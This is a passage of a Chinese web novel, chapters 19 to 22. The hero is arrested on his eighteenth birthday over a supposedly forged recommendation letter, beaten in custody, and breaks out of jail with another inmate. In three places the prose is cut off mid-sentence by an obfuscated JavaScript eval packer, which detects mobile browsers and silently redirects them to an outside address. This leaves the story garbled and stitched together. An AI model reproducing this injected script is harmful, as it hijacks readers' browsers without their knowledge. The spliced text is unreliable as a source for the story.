梦里的那个人面目模糊,项廷却把他刻画成了一张讨人厌的脸,讨厌他就想吃他的肉。他的肉色白而腴,饱满很有弹性,口感就是一个水当当的大果冻,外面包了一层香香的蓝莓酱,吃起来的味道就是白砂糖纯甜的那种齁嗓子的甜味。本来咬一口以示惩戒就算了,可动物的大脑几乎没谁能抗拒糖分,越甜越高兴。很快他被自己吃到了泪眼婆娑,可是看自己也还只用了三分之一的眼光,眼光带着冰冷的神性。他说不好意思,我可没有小不点儿情节,他还说这么多脏东西看得我鼻炎都犯了。项廷被激怒,越是讨厌他,就越想压着他风里来浪里去,在他身上像条活鱼地拍动。 一根钢丝震颤着穿脑而过。或许猛然意识到是谁人把自己拖到这种做贼的龌龊境地里来的,两只手掌已经不够用了,项廷把一大包衣服扯过来盖住脸,当了一会一块长了毛的霉豆腐,终于起床洗漱。 停水了,不然他得用开水烫一烫自己。 出门,天气晴好,楝树枝头绽放着一簇簇淡蓝如烟的小花。 项廷宽慰自己,新的一天已经开始。 今天是他十八岁的生日。 19. 折枝花样画罗裙 上了半天班,理智恢复多了。中午休息半小时,吃饭时间,麦当劳职员半价优待。项廷端了一盘食物坐餐厅里去吃,刚刚坐下来,店里忽来了一位气度不群的客人,就坐在自己桌子的对面。 这客人把一个大礼盒放到桌上,然后说,请问你就是项廷,对吗?你在华人圈子里提供私人服务的名头很响,能否请你帮我将这个生日蛋糕送给一个人?不过我这朋友萍踪浪迹,如在今天下午两点钟之前,你拨不通纸条上的这个号码,那这个蛋糕就麻烦你自行处理了,毋需顾忌。 项廷跑腿跑出了一片天,不时就有散客找他接些小活,可慕名找到麦当劳来的还是头一个。项廷被大家伙如此信任,有点感动,便坚持请客人吃了汉堡。 在闲聊中,得知这位客人叫何崇玉。他说自己是来纽约闯荡、想找点儿差事的钢琴师,他豁达随和,言辞十分谦逊。可项廷看那蛋糕外围的奶油花花心上,甚至镶了一圈钻,一小口就仿佛绝非自己不吃不喝几个月工资可以抵的。 项廷送他出了门,见他坐上了不远处停靠的一辆轿车。轿车驾驶座上还有个人,阳光像枫糖似得洒下来,他整个人一不笑的气质却就冷到发蓝,项廷哪里想到这个人就是他的姐夫。 蓝珀穿着他的“礼拜日盛装”,那完全是一套王尔德风范的衣服:印章戒指,白衬衫,蝴蝶领结,绲边绒缎印花西装,齐膝马裤,重工刺绣的紧身丝袜。唯美主义的他正看一本精装的金融杂志,目不转睛,拜托何崇玉去送蛋糕之前,看的是这一页,他回来时还是这页。 “圆满完成,接下来一块去做弥撒吧。”何崇玉说。 他本是白谟玺艺术界的点头之交,机缘巧合之下认识了蓝珀,两人惊悉对方有着相同单纯而幼稚的信仰,便欢喜结为道友。 蓝珀迟迟不把车开走,垂眸继续专注那一页寥寥几行字的杂志:“去了这么久。” “他请我吃了东西,可我不太习惯外面的饭。” 何崇玉这样说着,拿出了一个饭盒,盒中装着他妻子亲手准备的便当。盐渍好的鲑鱼肉压碎后,连同高汤煮软的鱼贝、酱煮蜂斗菜、白芝麻拌匀,捏成的一个个迷你饭球。妻子还给他带了一条红格纹桌布,春日野餐一般的温馨。 何崇玉慷慨地分享他的饭团。何崇玉不时自顾自地提到家有仙妻,蓝珀每每投诉高级炫耀,被肉麻死。有时何崇玉也会说,劝蓝珀成个家,早日安定下来。蓝珀表示啊好可怕,那样他每天睁眼就会定时后悔三分钟。他是一个一旦感觉风头不对,必须毫无牵挂三十秒内一走了之的人。 蓝珀食色无心,只关心:“你有没有顺便跟他说生日快乐?” “哎呀,居然给忘了。”何崇玉说着,把手里还没吃完的饭团小心翼翼地包好,“我这就去补上。” 蓝珀想说,不用了,太突兀了。潜台词暗示何崇玉温吞,笨嘴拙舌,不会圆。 何崇玉却笑道:“朋友之托,我应当尽力完成。” 回到麦当劳,项廷不见了踪影。他请了半天假,下班了。 下午他要办两件事。 一是去看望老赵。住不起美国医院,他的女儿现在躺在唐人街的一家私人诊所里。 项廷走进去,那整个画面仿佛无声的黑白电影,花骨朵年纪的女孩盯着天花板上的块块霉斑发呆,房间回荡的只有一墙之隔的马桶的蓄水声。突然老赵捂着嘴从卫生间出来了,他一副牙坏了,付不起拔牙费,剧痛之中跑到库房,找了一把老虎钳自己拔了。 项廷把这几日筹得的善款交给老赵,区区几千块钱,跟治疗费比起来,九牛一毛。老赵全家很感激,也悲观。老赵借着抽烟,把项廷拉到一角,说西医说,最多,也就是上半年的事儿了。美国医生的说法很保守了,不然他根本不会乱开乌鸦嘴。赵母悲痛难抑,屡屡失声,她说到闺女今年七月份才刚满二十岁。日子要数着指头过,每天清早唐人街的鸡叫声已经不是制造热闹而是制造恐怖。她为了补贴医药费,安顿好女儿,每日坐公交车去20英里外的就业中心准时报到,不通英文被迫囫囵吞枣地填各种表,结果发现就连“捡狗屎工”都有1000人应聘。 项廷深感无力。目睹着这世袭的贫穷,几乎被厄运淹死的一家人,他不得不想到蓝珀家里那一大片白茫茫令人目眩的奢华,人与人的差距竟比人与兽还大。他在那阿里巴巴的藏宝洞似得衣柜里卧着的时候,屁股硌着东西,捡起来拿手机打光这么一看,纵使项廷不识货,也知道那是一颗标标准准的矢车菊蓝。就这么随便掉在衣柜里,跟一颗樟脑丸也没两样。 这时,秦凤英风风火火地来了。项廷比快人快语的老板娘还先张口:“姐,话说你那家政公司还缺人吗?” 项廷想多打一份零工,赚钱在其次,他要多认识几个富人,难道富人都像蓝珀那样泯灭人性吗?他不相信曼哈顿集体为富不仁,就没有一个有钱人会帮一帮这绝望的一家子吗? 秦凤英说:“缺啊,大缺!今早上呢,还有人挑着你的名儿呢。” 项廷真没想到自己这么有名,还没有正式进入家政界便雀屏中选了。秦凤英牵线搭桥,让项廷马上跟雇主电话交流一下感情。 项廷许愿:“最好今天就签了合同。” 秦凤英说:“大佬不看合约,看心情!” 秦凤英把这位客户捧得天上有地下无的,似乎他的品格宛如梅花般芬芳至深骨髓,灵魂犹如玉石纯净而透明,搭上他你的人生自此飞黄腾达。吹吹捧捧的弦正拨到急风骤雨处,电话接通,项廷久久不说话这头猛然鸦默雀静。 听到对面的嗓音,项廷打翻了五味瓶,一声姐夫在嘴里颠过来倒过去实在吐不出去。昨天在他家闹了好大的没脸,跪在客厅里的手工羊毛巨幅地毯上,被他拿枪堵着嘴的时候,还被他抬起下巴低声警告永不再见。今天他就反悔,特意召唤自己去当男仆洒扫尘除,干什么?送上门被他大辱特辱吗? 蓝珀轻笑笑,笑声像长了羽毛,轻松道:“怎么了?害怕被抓来服侍哥布林吗?” 项廷只觉他的口吻恶心,走出诊所,到了空无一人的平地,才说:“麻烦你不要装大人。” 蓝珀像俯视一头伤痕累累的古罗马小斗兽一样,慢声细语用玩笑应付他:“你突然间声音变好大,吃奶的劲原来这么大啊。” 听那头的动静,蓝珀正在跟亲密的大客户悠闲地野钓似得。他用手焙着茶杯,对围着他一圈小矮人似得同伴们说:“都别抱怨了,你们就有本事把我的感觉都搞坏了。钓不上来也真的无所谓,主要这种鱼也不好吃吧,有泥腥味,就是钓个感觉。” 项廷不想跟这种人废话。姐夫,人上人,总想要装出了不起的神气,说些大道理。上了膛的枪顶着他的时候冷面杀手一样狠毒,可在柜子外面握紧他的手的时候,又温柔滴出水来,好像自己的一个远房小舅妈。理解不了!拒绝理解,感觉他外星人,雌雄莫辨的性别流动体,渗透进自己的梦里,触感又那么柔软,他火热的□□多像刚捣好的年糕。 过于年轻的大男孩的心再次到达瓦解土崩的边缘,如果杀人可以解决问题那遇到棘手的事就都杀人好了。退一万步,他最起码想让蓝珀说话的时候不要动不动拉长尾音,听得人拳头很痒。 项廷极力憋住一股恶气,没有出言不逊。 蓝珀却还倒打一耙,问他:“傻不傻呀,你!除了对自己的姐夫发脾气,还有别的本事没有呢?” 忍,项廷唯有沉默。 蓝珀和善劝解:“脑袋笨的人就是要比别人辛苦啊,有什么不爽就大声说出来。让你给我擦地是我看得起你,你也应该要摇尾巴叫两声。” 士可杀不可辱,决无妥协的余地。项廷狠狠挂了电话,自以为超脱于纷攘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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项廷对穿衣打扮毫无研究,唯一的感受就是,美国胖子真多,尺码都好大。忽如其来一阵风地想到,蓝珀怕是连小号的穿上都挂不住腰了,他浑身上下是不是只有蛋形脸的脑袋能戴得住帽子啊?其实蓝珀哪有那样消瘦,可项廷就是偏激地觉得他小少女似得姐夫泡澡的时候顺着浴缸的排水口就滑走了。他感觉蓝珀家的香气把他熏出了脑膜炎,否则为什么一想到他,就头脑发热。总之这样报复性想象一下,便很凉爽,心理上占了巨大雄风。 导购看到他满意的笑笑,以为他想买手上这一件。项廷想得正痛快,没想就拿下了。 学校在纽约北部市郊,脚跨摩托车,通勤时间尚可以接受。项廷递交了全部材料,学费也用崭新的纸张包好一沓,等待面试官叫号的时间,他去试听了一节课。 如果从上空俯瞰这帮人上课的情景,恐怕引人发笑。因为跟幼儿园没有两样。同学们的国籍遍布全世界,巴西、秘鲁、委内瑞拉、墨西哥、阿塞拜疆、土耳其…一帮老大不小的有色人种用磕磕绊绊的英语介绍自己,询问别人的兴趣爱好。 老师把大家配对。一个人走到教室外面等,项廷把一包软糖藏在教室某个地方。外面的人用英语提问,然后找。还是紧张刺激的限时游戏。 教学秘书来叫他了。项廷进入办公室,面试官是个意大利口音很重的大胡子,项廷发现他好几次抬起半边屁股放屁。 审视着项廷的资料,大胡子脸皱起来,嘴唇、鼻子、眼睛和眉毛都往中间挤,浓密的眉毛跟着上下移动,说道:“所以你姓项。” “是的。” 问题来得无缘无故:“这是一个很煊赫的姓吗?” “在美国还不是。”项廷说,“但我会让它变得煊赫起来。” 大胡子一会儿盯住项廷,一会儿把推荐信用毛乎乎的手掌托一托,掂量。紧接着不可掌控的人生又给了项廷上了一课,当头棒喝,他的推荐信被飘蓬般地坠机,丢进了碎纸机里。 20. 何以息谤曰无辩 送进碎纸机的推荐信连挣扎一下的机会都没有,就这么凭空消失了。 警察破门而入,两名黑人警官一左一右的生拉硬拽下,咔哒一声,手铐落了锁。 项廷猝然临之不太惊,反抗不太多。他很明白,在这边,一个中国人要是大吵大闹要求公正,那后果可万分不妙。他只是想打个电话,结果这么小的请求都被冷冰冰地打回来了,甚至脑袋被套上了一个大布袋子。 项廷被押解进了一间小得可怜、狗笼似得的拘留室。覆满了铁锈斑点的方窗仅允许极其稀薄的日照透进来,阴暗到几乎可以称作黑暗。地上有块苹果被踩扁了,散发一股发酵后的甜腐味,虫鸣、湿气与闷热,天花板的吊扇全速旋转,可房间仍然窒息无比。 守门的警员一边嚼着槟榔,时不时说上几句低俗笑话。 遥遥无期的等待之后,提审的人终于来了。提审员跛行到另一把椅子旁,将手杖小心倚在桌边,然后缓慢谨慎地坐下。他左右伸了伸脖子,才让身体降下来,找到舒服的姿势。 警员抓住帆布袋顶端,猛一下揭去。项廷暴露在手电筒的强光下,一个劲眨眼。 警员把项廷介绍给提审员时,就像是马戏团在向观众介绍他驯得很听话的表演动物:“请看,这就是嫌疑人。卡普兰语言学校怀疑他伪造了推荐信,先生。” “情况我都了解了。”提审官紧盯项廷,自他进来,没眨过一次眼。好像项廷是一种品种特异的猴子,他向猴子打了声招呼。 项廷沉默不语。毕竟按照他们的逻辑,猴子要如何说话,更别提用英语了。 警官威胁道:“狗崽子,快点说!你是连人话都不会说的畜牲吗?你到底是怎么作弊的?不然我就打碎你的下巴,有人明天就会发现你的尸体漂在码头边。” 提审员用指甲轻敲着嘴里残存的某颗牙,仿佛陷入苦思,转向警官询问:“他能听懂英语,是不是?” “或许真的不懂!”警官说,“他就是一个在后厨刷盘子的Ching Chong,一只下等可怜虫罢了。” 提审员说:“根据《美国法典》第18篇第471-473条(18 U.S. Code § 471-473),伪造、制造或持有伪造的文件(包括推荐信)可以被视为联邦罪行。根据《纽约刑法》第170条,伪造文件可能被视为重罪或轻罪,刑罚包括监禁、罚款或两者兼有。嫌疑人,你是否清楚以上的法律后果?” 项廷也盯着他,身体前倾,有意停顿了一下:“能不能跟你一个人聊聊?” 提审员用目光示意警官离开。警官临走前还狠狠瞪了项廷一眼。 “好了,现在回答我刚才的问题吧。”提审员嘴里咕噜有声。 项廷说:“说实话,你们讲话我只能听懂三成。不过,很有所谓吗?当一个黄种人整个存在都是‘非法’的,以什么名头入罪美国刑法很重要吗?” 提审员不置可否地说:“既然你对此心知肚明,这是一次有去无回的谈话,那么你要求与我单独对话的目的是?” 项廷说:“只是想确认一下,现在几点钟。” “晚上的七点零五分。”提审官说,“所以?” “我到达卡普兰语言学校的时间是五点钟,五点五十五开始面试。已知在不堵车的情况下,从警察局到语言学校的车程至少一个小时。所以也就是说,我还没露面,我的材料他们也没看,有人就断定我捏造了推荐信并报警。你们警察完全是在守株待兔,在那儿等着我自投罗网。” “不,小伙子,你太自以为是了。”提审员竭力掩饰,“逮捕你的警员应该是从执勤岗直接过去的……” “距离最近的警察岗亭在古根汉美术馆对面,最快也要半个小时。” “你怎么能这么肯定?” “因为我除了刷盘子之外,还送外卖。警察岗亭的字样在灯箱上闪烁,每次路过我都记得清清楚楚,我现在就能报出你们最少八个分局的具体坐标。” 项廷平静地看着他。这是一种全然看透了对方,却又全然无动于衷的表情。 提审员无言以答,吞了吞唾沫。过了一会,从铁窗外边递给项廷一副纸笔,蓝墨水闪着狡黠的油光。 “还有别的问题吗?有或没有,都先在这张供词上签字。”他站起来用桌沿撑住身子,用厌倦一切的语气命令道。 供词内容很简单:本人项廷,在此正式声明:于3月7日,本人向卡普兰语言学校提交的推荐信申请材料中,我承认存在弄虚作假之行为。我根本无法真正得到如此名人的大相器重,因此我决定撤回我提交的不诚实文件,并寻求原谅。本人在作出此声明时,心智清醒,未遭受任何形式的外部胁迫。声明人:项廷。本声明人同意自声明之日起立即离开美丽富饶的美国境域。 提审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当时钟指向午夜12点时,试验人员还在继续料理,提审官再次过来查看。仅仅几平米空间的每个方寸都仿佛承受过莫名其妙的暴行,一场无妄之灾居然能放大到如此浮夸之境地。四面墙壁皮开肉绽,到处都是明暗不一新旧交错的血迹。两只警犬隔着铁片大声吠叫,因为嗅到了尸体的气味。 提审官刚刚取到项廷的电子护照,看到身份卡显示的日期,也颇觉得蹊跷古怪地笑了。然后他就成了今天唯一一个对项廷说了生日快乐的人。 21. 烟波出没浪为家 “拖延毫无意义,只是徒增痛苦,我们有的是办法让你吃不消。”提审员最后通牒。 壁炉的火虚弱地跳动着,奄奄一息。警官们在吃夜宵,果木烟熏的德式猪肘配啤酒。待饱餐一顿、充分休息后,提审员将一块微湿的烟草压进烟斗:“索然无味的菜谱。看看怎么加点料。” 警官将项廷从污迹斑斑的地砖上拖起来,换了一间小得像一只橱柜般的囚室。 项廷短暂地昏了过去,再次睁开火烧般的眼皮时,只见身边多了一个狱友。这个看样子与自己年纪相仿的长发少年犯倚在墙上,一只脚向后稀松自在地蹬着墙,一派监狱常客的模样,把蹲局子当成了逛自家的菜园子。 不出所料的话,警察们把他关来这,便因为此人是个穷凶极恶的帮派分子,性情极其暴躁。没几人手上沾的血能与他相比——就他们所知,一个也没有。在迎接明天早晨的太阳之前,项廷可能就已经在不废一兵一卒的情况下被“人道”地解决了。 所以警员们在离开之前,还对提审官说了句:“您今天真是大发慈悲,先生。” 项廷僵硬地卧在地上,头靠墙,膝盖紧贴胸口,他随时都要死在这连脚都伸不开的牢房里了。 但他居然还能挤出力气,说出个嗨来破冰。 他的狱友听了扬了扬眉,脸上皮笑肉不笑:“你这家伙,真是天真。明天我就要被行刑了,不过在上路前,用你的肉来打打牙祭也不错。这里不是旅馆,在你没有发生意外之前,怎么大喊大叫都不会有人理你的。” 项廷说:“成王败寇,随你怎么说……不过我想问你,你现在看到了什么?” 狱友蹲下来打量他,鞋头几乎碰到项廷血肉模糊的鼻梁:“看啊,你的嘴唇全裂了,身上全是黑青的瘀伤,头也歪向一边没力气扶正,脸肿得都认不出来了,憔悴病态到行尸的程度。你像一头搁浅的小虎鲸,简而言之,你简直快不行了。看到了什么?我看到了一个马上要招的人。哈哈!快招,快招,快招,快招……” “不……你再仔细看看。”项廷说,“今天上午有位客人来送蛋糕,我送他出门的时候,你在街拐角那监视。如影随形,你一直跟着我们……” “谁允许你用‘我们’了!”这狱友突然歇斯底里了一下。 “我只是想说,我们其实见过,就在今天。” “那又如何?套近乎?这不是什么新鲜说辞。你清楚自己是哪路货色?” “证明了仅仅十一小时之前你还是自由之身,而现在我是唯一能带你重获自由的人。” 时钟静悄悄地走过,项廷的鲜血一滴滴渗入地面。他闭着眼感到对方的手放在自己的脖子上,仿佛下一秒就可以扼死他,现在捏死他像捏鸡蛋一样。心提到了嗓子眼那儿,项廷扭曲着脸嘴唇仍在动,但只徒劳地发出嘶哑的呃呃声。这位狱友的手劲越来越大,眼睛也越眯越细,终于他把袖子卷到了肘部,笑了笑说:“你可一点不谦虚,来吧,听听你的计划。” 他收回了脖子上的手,悬到项廷身侧:“南潘。” 项廷大喘着气不断点头,握了上去:“项廷。” 唯一的自救之法就是越狱。而牢房的门是厚达十厘米的电控铁门,铜墙铁壁;窗户仅是一线天,尺寸之小,几乎可以忽略不计,而且被一层坚不可摧的合金覆盖。脚下头顶更没戏,那是其他囚犯的地盘。他们似乎陷入了绝境。 项廷却说:“抬头。” 经他提醒,南潘才注意到一件反常的事。 头顶灯箱里的灯,一闪一闪。 项廷说:“楼上牢房里的水漏进了灯箱里面,导致线路有点接触不良。所以,一定有一个通道在灯箱后面连接,如果能穿过这个灯箱,我们就有机会逃出去。” 那玻璃是树脂的,这种塑料玻璃很好切割,但他们完全没有任何可用的工具。 南潘不禁脸一皱,这时却见项廷翻了个身,扶着墙站起来了。 “恢复得可真快。”南潘说。 “习惯了。”项廷说着,一边不假思索地掀起床单,牙齿一咬,拉出几根线,缠在一起。 “你要做什么?” 没有回答南潘,项廷不言不语地拿起了桌上的塑料杯上进行测试,很轻松地用线切开了。这说明如法炮制,他是有几率把灯箱的玻璃划开的。 项廷观察灯箱,外圈是用粘胶固定的。于是他叫上南潘,一块用指甲来挖周围的胶。清理完后,项廷摘掉了用来散光的灯箱外罩,里面一层是厚厚的树脂玻璃。 南潘正要一个肘击破开它,项廷却说:“不能直接砸烂,动静太大,我慢慢来。” 那如何切呢?项廷又把许多线拧成了一根细绳,然后他把绳子从玻璃的一角塞进去,另外一头同样也这么操作,把绳子从玻璃的缝隙处完全塞到了玻璃后面,再用从床单上撕下的布条绑在绳子两端,这样一根绳子锯条就完工了。项廷来回拉扯,靠着摩擦力切割。潮湿的空气仿佛能拧出水来,他满头大汗也没空擦,他眼中的焦点就只有这块玻璃。 方法很有效,剩下只是时间问题。目前要担心的只有狱警们的搜查,这里的狱警每半个小时就会巡查一次。 时间一分一秒地流逝,狱警来来回回的脚步声仿佛钟摆。 成功取下玻璃,项廷如释重负地长舒一口气,眼前的景象却又让他绝望起来。 后面,竟然还有一层铁窗,而他们又不可能得到钢锯这类东西,用绳子根本拉不断这些粗铁条,必须找到更厉害的工具。 南潘举起双臂做个无可奈何的姿势,披着的长发随之摇动。项廷环顾四周,他发现铁窗后面的一根管子上,有一个类似散热管夹圈的装置,那是一个带有锯齿的圆形铁圈。如果他能拿到,折成两节就可充当钢锯。 太远了!手伸出去一米也够不到。 床头搁着几本监狱安全教育的彩页,项廷就用它卷成了几个纸筒,然后把它们连在一起,顶端挂上一根线,线的另外一端绑上弄湿的卫生纸团。他制作了一个简易的投石器。 就这样,在南潘不屑的目光中,项廷不懈地前后晃动着纸球,他要把卫生纸球甩到管子后面去。虽然很难,但是天下无难事只怕有心人,他做到了。接着,项廷用另外一根纸筒小心地把纸球拉了回来。现在另外一端绑着床单。他耐心地拉线,一旦床单穿过管子,猛拉之下管道瞬间向他倾斜。至关重要的铁圈在重力的作用下脱离载体,沉闷地一响,落在了项廷的手中。 项廷把铁圈压直,折成两截,钢锯就有了。 他立刻锯了起来,进度非常缓慢,但希望正在前方。 锯开了一根钢条后,项廷不准备继续切割了,太费时间。他确认了,铁窗的外面是用4根螺丝固定在墙上的,通过这个洞口把胳膊伸出去,拧掉螺丝,拿掉铁窗就可以了。 项廷不浪费任何能利用的东西。他把刚锯掉的铁条,折弯做成了一把扳手,夹在外面的螺丝上,螺丝松动后再用手拧下来。 十分钟后,他卸掉了整个铁窗。 果然,后面有一条管线通道,一人宽。他几乎能听到心中那声压抑已久的欢呼,手指紧紧扒住上方管道的边缘,大臂和腰部同时发力,荡了几下就将身体拉了上去。 就在这时,最令项廷担心的事情还是来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398208|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警靴快步靠近的声音近在耳畔。在南潘粗暴解决打晕狱警之前,项廷先照着南潘的后颈来了那么一下。在狱警出现之前,他抓住南潘的衣领把他一同拽进了管道。 两人需要规划接下来的逃跑路线。首先快速穿过灯箱后面的管线通道,来到一个上了锁的门。合力撞开了门,他们闯入一片开阔的空地,这里没有遮蔽,没有掩护,高处有警戒塔楼,周围还有24小时的巡逻车转悠,俨然是一片危机四伏的战场。项廷的腿脚是他最大的软肋,他的腿上还嵌着警员留下的两颗钢钉。但他已然别无选择。天气预报说有雷阵雨,一道闪电劈过,他们的眼皮都轻跳一下。越狱的终极时刻到了,项廷用两根铁片做成一把钳子,铁丝网断裂,发出的脆响如同自由的号角。 凌晨四点五十五,鱼跃出东海,项廷跳下高墙,冲进了未知的夜色中。 南潘大笑:“难以置信!真是过瘾!” 飞奔到深夜的大马路上,身后暂无追兵。暴雨越来越接近,也刮起风来,气温在片刻间好像骤降了十度。项廷仰头一看,刚刚天边破晓的迹象已经完全消失。 两人在草地上的一块大石头后歇了下来,不一会儿就沾满了悬浮在空气中的雨味。项廷清清楚楚嗅出河流的气息,真跟猎犬的鼻子一样灵。血液也在雨中变得活跃起来,他的血就像下雨天屋檐滴滴答答走到哪留到哪,得先包扎一番。项廷捡起白天游人掉的一顶鸭舌帽,压在自己头上。南潘侧目看了看他,便见他了掩去一切神情,那面如石板的脸庞、微微发深的肤色、果敢灵活的眼神,好像他其实是个经受过赤道烈日烤晒和狂风暴雨吹打的老道水手似得。 南潘由衷道:“你是个令人大开眼界的犯罪天才,你该跟我入伙!” 豆大的雨点落在项廷的帽子上、手臂上,大雨点砸了大概五秒钟忽然就停下来。项廷惊醒般地望了一眼天,咬紧了下巴,双拳紧握。 南潘如同夜行的猫头鹰盯着他:“或者现在说吧,你想要什么?我从来不欠人情。” 一束束闪电划过天空,雷鸣随之即至,仿佛在他们头顶上开赛车。大雨冲刷着城市地基,项廷站起来时有些头晕目眩,他把鸭舌帽摘下来扣到南潘头上:“先欠着吧。后会有期。” 项廷脚上连鞋子都没有,就这样拖着瘸腿独自离开了。 他检查了停在路边的每一辆车。美国人粗心大意,一辆重型皮卡的车钥匙还插着。但问题是项廷从来没有开过这么大的家伙。管不了那么多了,他摸索着把车开上了公路。碰到一个检查点,他面无表情将车主的驾驶证递了过去。残留的血药开始释放作用,他已经严重疲劳驾驶。更糟的是,他还开了定速巡航,卡车一个猛子冲向了路边,还好这里的高速没有围栏,项廷没受多少伤。他停车后跳了下来。 以上就是联邦公路管理局监控记录的所有内容。没有第二个人知道项廷下车之后去了哪里。在吵醒伯尼的一通求助电话后,这些录像也得到了彻底的销毁。 狱警约在三十分钟后发现了情况,全纽约市却没有截停到一辆可疑皮卡。 清晨七点钟,第一缕阳光宛如蜂蜜般甜美,某人来警局保释项廷。 警员大觉滑稽,说他早就跑了。警员看家属实在不见棺材不掉泪,便不耐烦地领着去了趟牢房。 只见床上一包被子,见鬼了里头居然在动——有人薛定谔地越了狱。 项廷不算跑了,本来没罪跑了一定有罪。项廷去了一趟语言学校,立刻就掉头回了监狱。他在囚室的被窝里,浑身淌着雨水,牙咬着手电筒,把那碎纸机里篓子里抠出来的推荐信,柳条细的一块一块根据纹路拼回了原样。 22. 我亲之思心之苦 来警局接人的所谓家属,其实是伯尼的秘书。蓝珀刚刚把车泊在路边,便看到他们进去了,他就没下车。他把那副假模假样的没度数眼镜推上额头,一边揉着鼻梁上压出的两小块粉红色月牙印,一边听着电话里白谟玺的那一套说辞。 白谟玺就从头到尾给他讲了一遍。说到自己也进了警察局,美国本地警察都好疏通,直接刷脸就能放行。可是区区小事竟然吸引了英国驻美大使前来交涉,好像白宫与白金汉宫中门对狙了,搞得整整一晚上都在平息这场外交风波。总算回到家,越想越气,一肚子气,睡觉是不可能睡觉的。白宅今日车马盈门,身为少主的他也确实有几件十万火急的正经八百事情应该办,可还是一不小心看了一整天的冰球赛。终于在沙发上瞌睡了,就被你蓝珀一通电话闹醒兴师问罪,完完全全状况外,又被误会成奸细。 蓝珀说:“那封推荐信是你的杰作,现在他因为你的信闹了大事,所以你能毫无保留地给我讲讲相关情况吗?” “宝贝,我怎么可能骗你?我说了不止一千遍了,我的确不知情。”白谟玺耐着性子,“我承认刚开始,我确实闪过让他回中国去的念头,但那只是一时的气话。” 一般到这会儿,白谟玺应该是笑笑,再说些甜蜜的话。可是他现在一方面觉得项廷作怪,项廷没来美国之前,他和蓝珀岁月静好,鸡犬桑麻。一方面更觉得蓝珀陌生,如此这般疑神疑鬼,居然成了推理高手。须知从前蓝珀至多只是一个偶尔春愁满怀的人。白谟玺喜欢他高雅自信,带得出手。白谟玺相中他父母双亡,可是一个人的联姻价值抵过一个豪门。 白谟玺忽然福至心灵:“等等,你怎么知道他被抓了?这小子还敢来烦你,还是你请私家侦探了?” 蓝珀轻描淡写:“你也没有派人在暗中关注我,对吧?” 白谟玺一时间语塞,只得让步:“我的律师等会去一趟,会妥善解决的,亲爱的,别放不下心了。” “噢,不用那么麻烦了。” 知道消息的时候,蓝珀的律师也都还没睡醒。于是蓝珀亲自致电了警局,在尚不清楚具体案情的情况下,三言两语有效地将全责推给了警察。 “那,人接到了吗?”白谟玺继续演一下关心。 “我突然不想接了。” “好吧,那今天你有什么安排?” “现在去上班,顺道探探费曼的口风。” 白谟玺头皮上的筋开始跳了:“什么意思?和他哪门子关系?” “他也参与了推荐信的大业呀。” 刚刚还觉得七年之痒,爱情淡掉了死掉了,以权利合者权利尽而交疏的白谟玺,一听到情敌的名字又冒出头来,激情山洪爆发:凭什么,他费曼是凭什么?在帮我未婚妻的妻弟写推荐信举足轻重的事情上跟我平分秋色?白谟玺的表情都快把他的脸撑坏了。 奈何蓝珀早就挂电话了。项廷从警察局出来,坐上伯尼的车,蓝珀驱车朝着反方向开走了,绕了一大圈才到华尔街。 风平浪静地坐了一天办公室,期间沙曼莎看透了他间歇性的踌躇满志,提醒了三次,晚上有一个重要的酒会,千万不能爽约。六点半下班,蓝珀准时逃逸——他宁愿去何崇玉家里蹭一顿饭。 然而蓝珀刚刚按下友人家的门铃,门就刷地拉开,房子里那位一向有礼有节的女主人抱着大儿子,头也不回地离去了。何崇玉错愕地坐回了餐桌前,空气中还弥漫着火药的余温。 看来,来得真不是时候,赶上夫妻吵架了。 在忠于上帝这件事上,何崇玉总认为自己做得不够好。早上晚间,餐前餐后,必做祷告,两个双胞胎儿子的日常读物以《圣经》为主,出生后也全都在大教堂受过洗。他坚信孩童来自魔鬼的污水坑,只有受过了洗,才堪比打过了疫苗。 即使如此虔诚,孩子们还是接二连三地生病了。大儿子的症状最为剧烈,他常常半夜里忽然瞳仁上翻露出眼白,四肢绞得像麻花,仿佛正在和一场来自四面八方的隐形飓风搏斗,持续时间有时一两小时,有时半天或全天。怪病犹如狂犬,四处撕咬着何家的每个人,两个长子悉数染病,何崇玉不得不忧心妻子眼下腹中的这一胎,也难逃此劫,撒旦必然开始真正地显形了。何崇玉请来一位神父,神父说只要像宰鸡一样,一刀下去,给孩子们放血,就能破除魔鬼的咒语。这时大儿子突然坐在地上嚷起来,他说梦见自己被猫抓挠虐待,俨然病得手舞足蹈,像有人用看不见的钢丝操纵木偶一样。妻子泪流满面,哭诉全是因为孩子们从小就读《新约》,才对邪灵附体的故事耳濡目染,丈夫的神学教育就像病毒浸淫了他们的童年,把他们都毁了。何崇玉安慰道,一会让蓝珀过来看看,说得神乎其技,似乎蓝珀是萨满巫医似的灵媒。于是就上演了刚才离家出走话剧般的那一幕。 